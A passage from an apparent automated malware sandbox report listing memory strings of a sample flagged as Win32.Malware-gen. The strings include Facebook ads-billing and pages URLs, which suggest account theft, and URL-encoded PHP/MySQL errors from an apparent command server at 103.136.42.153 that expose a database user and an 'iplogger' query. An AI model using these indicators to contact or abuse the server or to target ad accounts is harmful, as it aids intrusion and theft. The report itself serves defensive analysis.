00000008.00000003.457201506.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.383677197.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.384015452.000000000332E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.525208964.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.441361282.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456403778.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.418627607.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448684035.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.457852928.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442864392.000000000332F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466999574.000000000332E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.facebook.com/ads/manager/account_settings/account_billing/?act= equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.facebook.com/bookmarks/pages?ref_type=logout_gear equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.facebook.com/pages/?category=your_pages&ref=bookmarks equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378038609.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.383677197.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.384015452.000000000332E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/q equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.454384185.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.455607582.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.458740079.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442188704.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442559130.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.449133562.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448268891.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.445992397.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378038609.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.458306345.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456182696.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.375606673.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456651242.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.457201506.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.383677197.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.384015452.000000000332E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.525208964.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.441361282.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456403778.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.418627607.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448684035.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.457852928.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442864392.000000000332F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com1 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524929485.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495735399.00000000031EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com:443 equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.467173011.000000000333A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.comsktop\ equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.485213628.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.423301956.0000000003238000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.478565789.0000000003230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494530484.0000000003240000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495160578.0000000003244000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: s://www.facebook.com:443/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.255933212.0000000003193000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: t: www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tmp37238328-1324242-5456786-8fdff0-67547552436675<<< Exit with same app>>>atlTraceSecurityatlTraceSyncatlTraceISAPIInvalid DateTimeInvalid DateTimeSpanatlTraceGeneralatlTraceCOMdj`aFihc`oNby\|vUikgjmsgk}lwbhehceatlTraceQI=;dRceKhici[>>>usgatlTraceRegistrarIIDIEK[\IO[QYKnk{exckzSGx\|w{beYQbjJkhdhR.AppIDCLSIDComponent CategoriesFileType.InterfaceHardwareMimeSAMSECURITYSYSTEMSoftwareTypeLibatlTraceRefcountatlTraceWindowing0atlTraceControlskrcde$o`ancuflf8>#jc\|KrV}lxrEch`b\|sg}zxCokmhttps://www.facebook.comKrV}lxr_t}{u\|[}rzdhgsafdall-access.wax.ioJvbfYxdoh}\|Aswd`ijxhFn~u~v-Fjh{lBjbibjatlTraceHostingFtbi}oMeakBqabzzrAHgw^`o\|CkHf\|tPhjiy\bizAiVx~vNULatlTraceDBClientatlTraceDBProviderdwcwi`xTckhatlTraceSnapinHU~{Fhainz\|LbQ equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.464957955.000000000323E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524929485.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.494938813.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.255745691.0000000003195000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.423301956.0000000003238000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.525367442.0000000003230000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.495735399.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.507462493.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464197214.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.461110576.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.506626771.0000000003324000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.397494389.0000000003318000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.400968918.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.506758669.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476266448.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.397563972.0000000003325000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.467043161.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.400592181.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405312178.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464977219.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476389831.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405245684.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476478730.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.464654309.00000000032DB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.525283644.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437660587.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.507616174.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405516028.0000000003333000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.460591514.0000000003327000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475857921.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476130904.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.466882941.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398038409.000000000332E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.524999317.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437536063.0000000003326000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475813345.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.437350173.0000000003323000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.436465004.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.454384185.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.455607582.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.316873562.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.458740079.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442188704.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442559130.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.524451129.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.449133562.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448268891.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.445992397.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.383619237.00000000032EE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.458306345.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456182696.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.375606673.000000000332A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456651242.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.457201506.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.525208964.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.441361282.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.456403778.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.418627607.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448684035.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.457852928.000000000332F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.442864392.000000000332F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.255745691.0000000003195000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405245684.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.475813345.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.316873562.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com" equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.383619237.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com"p equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com(x86) equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.524449534.0000000003180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com.30674.exe equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.400592181.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405312178.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.476449028.000000000332E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378287218.0000000003339000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378038609.000000000332A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.400592181.0000000003319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.405312178.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3Ein equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378287218.0000000003339000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.378038609.000000000332A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 